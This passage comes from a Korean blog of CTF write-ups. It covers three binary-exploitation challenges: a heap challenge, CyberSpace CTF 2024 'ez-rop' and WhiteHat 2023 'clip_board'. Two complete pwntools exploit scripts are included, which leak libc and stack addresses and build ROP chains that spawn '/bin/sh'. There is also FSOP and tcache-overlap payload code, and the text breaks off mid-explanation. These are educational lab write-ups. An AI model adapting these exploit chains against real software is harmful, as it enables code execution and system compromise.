아무튼 chunk를 unsorted bin으로 보내서 main_arena 주소가 담기게하는 기법을 통해 libc leak을 진행하였다. 이 때 몇 가지 맞춰야 할 조건이 있었는데, 그렇지 않으면 chunk가 unsorted bin으로 보내지지 않는다.

chunk size가 0x420 이상일 것
해당 chunk의 다음 영역에 chunk가 존재할 것(next_chunk)
next_chunk가 top chunk가 아닐 것

특히 세 번째 조건과 반대로 next_chunk가 top chunk일 경우 그냥 top chunk에 병합되어버려서 chunk가 unsorted bin으로 보내지지 않는다.

조건을 하나씩 맞추기 위해 앞서 heap overflow 상황에서의 메모리를 보면,

gef➤  x/20gx 0x555555559470
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content
gef➤
0x555555559510: 0x0000000000000000      0x0000000000000051
0x555555559520: 0x000055500000c1e9      0x2da0f37bfd770960
0x555555559530: 0x0000000000000000      0x0000000000000000
0x555555559540: 0x0000000000000000      0x0000000000000000
0x555555559550: 0x0000000000000000      0x0000000000000000
0x555555559560: 0x0000000000000000      0x0000000000000021
0x555555559570: 0x0000000000000010      0x0000555555559500      # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000      0x0000000000000021
0x555555559590: 0x4343434343434343      0x4343434343434343      # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000      0x0000000000000051
gef➤
0x5555555595b0: 0x000055500000c079      0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000      0x0000000000000000
0x5555555595d0: 0x0000000000000000      0x0000000000000000
0x5555555595e0: 0x0000000000000000      0x0000000000000000
0x5555555595f0: 0x0000000000000000      0x0000000000000021
0x555555559600: 0x0000000000000010      0x0000555555559590      # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000      0x0000000000000021
0x555555559620: 0x0000000555555559      0x2da0f37bfd770960
0x555555559630: 0x0000000000000000      0x0000000000000051
0x555555559640: 0x000055500000c0e9      0x2da0f37bfd770960

[0, 2, 2]의 chunk size를 0x421로 바꿔 free()시킨 후 main_arena 주소가 쓰이면 [0, 2, 1]->*content를 [0, 2, 2] 주소로 바꿔 출력을 하게끔 시나리오를 구성했다.

따라서 chunk size overwrite와 [0, 2, 1]->*content를 바꾸는 것을 고려해서 payload를 다음과 같이 작성했다. 이 때 다른 chunk들을 건들이면 free()에서 에러가 발생해 구조를 그대로 유지하도록 작성하였다.

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

이제 두 번째, 세 번째 조건을 맞추기 위한 payload는 다음과 같다.

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

[0, 2, 3, 2]까지만 객체들을 생성하면 [0, 2, 2]의 next_chunk가 top chunk가 되므로 [0, 2, 3, 3]을 꼭 생성해주어야 한다.

Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index:

Stack Leak

Libc 주소가 있으니 environ 변수를 이용해서 stack leak이 가능하다.

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)

앞에서는 chunk 할당과 해제를 하기 때문에 chunk 구조를 맞춰서 payload를 작성했는데, 이제는 그럴 필요가 없으니 [0, 2, 1]과의 offset만 잘 맞춰주면 leak이 가능하다.

Ret Overwrite

마지막으로 RIP control을 위해서 return address를 덮기로 했다. 먼저 [0, 2, 1]->*content가 main()의 return address가 저장된 stack 주소를 가리키도록 설정했다. 이후 libc에 있는 가젯을 이용하여 인자를 설정하고 system() 함수를 호출했다.

다만 이 때 syscall 당시의 stack alignment가 맞지 않아 pop rdi; pop rbp 가젯을 사용했다.

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
    'ret_main' : 0x555555555418,
}

def edit(s, u_d, index, a_v='a', num=0):
    s.sendline(b"1")
    r = s.recvuntil(b">\n")
    if r.find(b"EMPTY") > 0:
        create(s, a_v, num)
    elif r.find(b"ARRAY") > 0:
        for c, i in enumerate(index):
            s.recvuntil(b"index: ")
            s.sendline(str(i).encode())
            s.recvuntil(b"> ")
            if c == len(index) - 1:
                if u_d == 'u':
                    s.sendline(b"1")
                if u_d == 'd':
                    s.sendline(b"2")
                    return s.recvuntil(b"\n> ")
            else:
                s.sendline(b"1")
        create(s, a_v, num)
    return s.recvuntil(b"\n> ")

def create(s, a_v, num):
    s.recvuntil(b"> ")
    if a_v == 'a':
        s.sendline(b"a")
        s.recvuntil(b"size: ")
        s.sendline(str(num).encode())
    elif a_v == 'v':
        s.sendline(b"v")
        s.recvuntil(b"value: ")
        s.sendline(str(num).encode())
    else:
        s.sendline(num)

def show(s):
    s.sendline(b"2")
    r = s.recvuntil(b"Exit\n> ")
    return r

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    log.info(f"root : 0x5555555592a0")
    
    s.recvuntil(b"Exit\n> ")

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)
    
    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 1)
    
    # heap leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu
    
    heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
    log.info(f"heap : {hex(heap)}")

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    # move [0, 2, 2] ("CCCC") to unsorted bin
    edit(s, 'd', [0, 2, 2])
    
    # libc leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu

    libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
    log.info(f"libc : {hex(libc)}")

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)
    
    # stack leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")

    stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
    log.info(f"stack : {hex(stack)}")
    ret = stack - 0x120

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

    # exit
    s.sendline(b"0")

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

CyberSpace CTF 2024 - ez-rop

2024-09-15T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ez-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

0x01. Vulnerability

char *sub_401192()
{
  char s[96]; // [rsp+0h] [rbp-60h] BYREF

  return fgets(s, 116, stdin);
}

단순한 BOF가 발생하지만 s를 채우는 데에 0x60 바이트를 사용해야 하므로 return 이후에 구성할 수 있는 stack이 거의 없다.

0x02. Exploit

Fake Stack

취약점을 이용해서 당장 rip를 control해도 할 수 있는 것이 없기 때문에, payload를 구성할 수 있는 영역을 찾아보았다.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/chall
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/chall
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/user/chall
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/user/chall
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/user/chall
...

PIE가 꺼져있기 때문에 DATA 영역인 0x404000 영역의 주소가 고정되어있다. sub_401192()가 종료될 때 leave; ret을 하므로, 대충 중간쯤인 0x404800을 sfp에 넣어두면 rsp를 해당 값으로 조작할 수 있다.

이제 rsp를 입력을 받는 함수의 인자로 전달해야 하는데, 쓸만한 가젯이 없었다. 대신 fgets로 입력을 받는 과정에서 rdi의 값이 rax, rbp를 통해 설정된다는 것을 이용해서 값을 전달할 수 있었다.

.text:0000000000401192                 push    rbp
.text:0000000000401193                 mov     rbp, rsp
.text:0000000000401196                 sub     rsp, 60h
.text:000000000040119A                 mov     rdx, cs:stdin   ; stream
.text:00000000004011A1                 lea     rax, [rbp-60h]
.text:00000000004011A5                 mov     esi, 74h ; 't'  ; n
.text:00000000004011AA                 mov     rdi, rax        ; s
.text:00000000004011AD                 call    _fgets
.text:00000000004011B2                 xor     rdx, rdx
.text:00000000004011B5                 nop
.text:00000000004011B6                 leave
.text:00000000004011B7                 retn

따라서 payload를 다음과 같이 작성하였다.

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

Return Oriented Programming

이제 payload를 이용해서 쉘을 띄우면 되는데, pop 가젯이 많지 않아 IDA로 확인해보니 쓸만한 가젯은 삭제하고 다음 네 가젯을 이용한 문제 해결을 의도한 것 같았다.

# mov rdi, rsi gadget
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 mov     rdi, rsi
.text:000000000040115D                 retn

# pop rbp gadget
.text:000000000040115F                 pop     rbp
.text:0000000000401160                 retn

# pop rsi gadget
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 pop     rsi
.text:0000000000401166                 retn

# read(0, buf, 8) gadget
.text:000000000040116A                 push    rbp
.text:000000000040116B                 mov     rbp, rsp
.text:000000000040116E                 sub     rsp, 10h
.text:0000000000401172                 lea     rax, [rbp-8h]
.text:0000000000401176                 mov     edx, 8          ; nbytes
.text:000000000040117B                 mov     rsi, rax        ; buf
.text:000000000040117E                 mov     edi, 0          ; fd
.text:0000000000401183                 call    _read
.text:0000000000401188                 xor     rdx, rdx
.text:000000000040118B                 xor     rax, rax
.text:000000000040118E                 retn

특이하게 read 가젯이 있었는데, fgets와 비슷하게 rbp 값에서 8을 뺀 값이 rax를 통해 rsi로 전달된다. rbp는 pop rbp 가젯을 이용하여 자유롭게 값을 설정할 수 있으니 lea rax, [rbp-8h] instruction을 감안해서 입력받을 주소에 8을 더해서 rbp 값을 설정하면 된다.

이 때 설정해둔 rsp 값을 변경시키지 않기 위해 read 가젯의 중간인 0x401172 주소로 바로 뛰도록 payload를 구성했다.

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

여기에서 alarm의 GOT에 값을 쓰기로 했는데, libc를 leak하기 위한 출력 함수가 하나도 없기 때문에 execve와 가장 가까운 함수를 찾아 partial overwrite를 하기 위함이다. 가장 가깝다는 것은 offset 차이가 가장 조금 난다는 것이고, 가까운 함수의 GOT를 덮어 쓴 것은 aslr에 의한 exploit 확률을 최대한 높일 수 있기 때문이다.

이후에는 execve 함수 인자를 맞춰주기 위해 "/bin/sh\x00"를 메모리에 써두고 가젯을 이용해 전달하는 과정만 수행해주면 된다.

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

지금 생각해보니 fgets 시 마지막에 남는 3바이트에 sh;를 넣고 그 주소를 줬어도 될 것 같다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "44c6741a4dc0"
bp = {
    'main' : 0x4011B8,
    'leave_after_fgets' : 0x4011b6,
    'ret_after_fgets' : 0x4011B7,
}

gs = f'''
b *{bp["leave_after_fgets"]}
b *{0x401183}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8)
    payload = b"\x80\xb0"
    # payload = b"\x80\x50"
    s.send(payload)
    sleep(0.5)

    # read(0, 0x404900, 8)
    payload = b"/bin/sh\x00"
    s.send(payload)
    sleep(0.5)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2023 Quals - clip_board

2024-08-30T00:00:00+00:00

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

AddClipboard(), DelClipboard(), ViewClipboard() 세 가지 기능이 heap을 기반으로 구현되어있다. 친절하게도 heap 주소를 하나 출력해주어 heap leak을 따로 해주지 않아도 된다.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

예를 들어 AddClipboard() 실행 시 index에 i를 입력하면 위 구조체들에 다음과 같은 값이 설정된다.

chunk_list[i] : malloc(size)
check_chunk_list[i] : 1
chunk_size_list[i] : size

이 때 check_chunk_list는 alignment 때문인지 16바이트만큼 할당되어있다.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
  }
  return size;
}

AddClipboard(), DelClipboard(), ViewClipboard()에서 공통적으로 index 값이 음수일 때를 검증하지 않아 OOB 취약점이 있다.

다만 원하는 동작을 하기 위해서 check가 0이 아닌 값을 가져야하므로, check_chunk_list 위 영역의 값을 잘 확인해야 한다.

0x02. Exploit

Libc Leak

gef➤  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

index를 음수로 입력해 취약점을 활용하기 위해서 chunk_list 위 영역을 살펴보면, stdout과 stdin이 있다.

0x555555558008 영역에 __dso_handle라는 변수명으로 bss 영역의 주소가 쓰여있어 확인해보니 fini_array의 __do_global_dtors_aux에서 한번 참조하는 것을 제외하고는 참조되지 않는다. 이 문제에서는 딱히 의미가 없지만 기억해뒀다가 나중에 써먹으면 좋을 것 같다.

stdin은 chunk_list[-2], stdout은 chunk_list[-4]로 접근이 가능한데, ViewClipboard로 값을 읽어오기 위해서는 check_chunk_list[-2]나 check_chunk_list[-4]에 0이 아닌 값이 저장되어 있어야 한다. 그렇다면 0x55555555808e 혹은 0x55555555808c에 값을 저장해야 한다는 소린데, index를 9로 입력해서 0x555555558088에 malloc()이 반환한 값을 저장한다고 해도 주소 값이라 윗 부분은 쓰이지 않을테니 0x55555555808e에는 0이 들어간다.

따라서 stdout만 view가 가능하고, 다음과 같은 payload로 libc 주소를 얻었다.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Full RELRO가 적용되어있기 때문에 GOT영역은 write가 불가능하고 0x555555558000와 chunk_list의 사이에는 stdout, stdin밖에 없다.

stdout, stdin을 바꿔서 RIP control을 해야하니 자료를 찾아보다가 FSOP 기법을 발견했다. FSOP 기법은 이 글에 정리한 내용을 사용했다.

문제에서는 AddClipboard() 기능을 이용하여 메모리를 마음대로 할당받을 수 있고, 처음에 heap 주소를 주었으니 offset을 계산하여 다음과 같이 payload를 작성했다.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

어… 신나게 설명했는데 사실 가장 큰 문제가 하나 있다. OOB 취약점을 이용하여 chunk_list[-4]에 위치한 stdout을 overwrite하면 메모리는 다음 이미지와 같다.

그런데 사실 _IO_flush_all_lockp는 _IO_list_all을 순회하며 file stream에 overflow가 발생했는지 확인하기 때문에, 공격자가 할당한 wide_vtable의 one_gadget 함수가 호출되기 위해서는 메모리가 다음 이미지와 같아져야 한다.

따라서 libc 영역에 있는 _IO_list_all 포인터를 overwrite 해야한다…

stdout에 저장된 값을 직접 접근하는 다른 FSOP 시나리오를 찾았다면 이런 짓은 하지 않았어도 됐는데 아쉬울 따름이다…

Tcache Unlink

아예 새로운 문제를 보는 기분으로 코드를 보다보면 DelClipboard()에서 다음 동작을 수행하는 것을 확인할 수 있다.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

AddClipboard()에서 1로 설정된 check_chunk_list[index]의 값을 0으로 돌려준다.

check_chunk_list 위에는 malloc()으로 할당받은 heap 영역의 주소들이 쓰여있다. 만약 malloc(), free()를 하는 순서가 같으면 offset도 동일할 것이므로, 할당받은 주소를 leak하지 않더라도 예측할 수 있다.

따라서 malloc이 0xXXXXXXXXXX10 주소를 반환하게끔 heap을 정렬시켜두고, 0xXXXXXXXXXX00 주소에 fake chunk header를 만들어준 다음, 주소의 마지막 바이트인 0x10을 0x00으로 만들어주면 fake chunk를 free()시킬 수 있다.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

위와 같이 payload를 작성하고 코드를 실행하고 tcache에서 사이즈 0x30, 0x100 bin을 확인해보면 다음과 같다.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] ←  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

이렇게 0x555555559400 영역이 0x555555559440, 0x555555559470 영역과 겹치게 되기 때문에 0xf0짜리 chunk를 요청하면 0x555555559440의 fd를 overwrite할 수 있다.

Safe Linking Bypass

그런데 이 때 0x555555559440과 0x555555559470의 fd를 확인해보면 단순히 다음 chunk의 주소를 저장하지 않는데, 이는 tcache의 safe linking 때문이다.

gef➤  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gef➤  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

공부한김에 간략하게 정리하자면 glibc 2.32버전부터 free된 chunk는 다음과 같은 구조를 가지게 된다.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

위 메모리에서 0x62cde40f9bbc5877로 출력된 것이 key인데, 다음과 같은 로직을 통해 double free를 방지한다.

free(ptr)을 했을 때,
ptr->key에 제대로 된 key값이 있는지 검증
- 없다면 abort
제대로 된 key 값이 있다면, ptr의 size에 맞는 tcache bin을 순회
- ptr이 bin에 있다면 abort

